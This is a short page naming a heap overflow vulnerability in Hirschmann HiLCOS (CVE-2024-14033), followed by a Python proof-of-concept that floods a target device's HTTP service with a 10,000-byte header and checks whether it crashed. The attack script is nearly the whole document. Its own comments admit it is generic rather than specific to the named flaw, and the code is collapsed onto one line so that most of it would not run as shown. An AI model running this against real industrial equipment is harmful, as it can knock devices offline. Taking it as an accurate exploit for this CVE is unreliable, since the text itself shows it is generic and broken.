CVE-2024-14033 Hirschmann HiLCOS堆溢出漏洞

import socket # Target configuration target_ip = "192.168.1.1" target_port = 80 # Default HTTP port for HiLCOS # Malformed payload to trigger heap overflow # Sending a long string can often trigger buffer overflows in legacy systems payload = b"A" * 10000 # Constructing a simple HTTP request with the payload # Note: The specific vulnerable endpoint might require a specific path or header. # This is a generic PoC demonstrating the concept of sending a large buffer. request = b"GET / HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"User-Agent: PoC/1.0\r\n" request += b"Accept: */*\r\n" # Injecting payload into a header or parameter likely to trigger the issue request += b"X-Custom-Header: " + payload + b"\r\n" request += b"Connection: close\r\n\r\n" print(f"[+] Sending payload to {target_ip}:{target_port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(request) s.close() print("[+] Payload sent successfully. Check if the device has crashed.") except Exception as e: print(f"[-] An error occurred: {e}")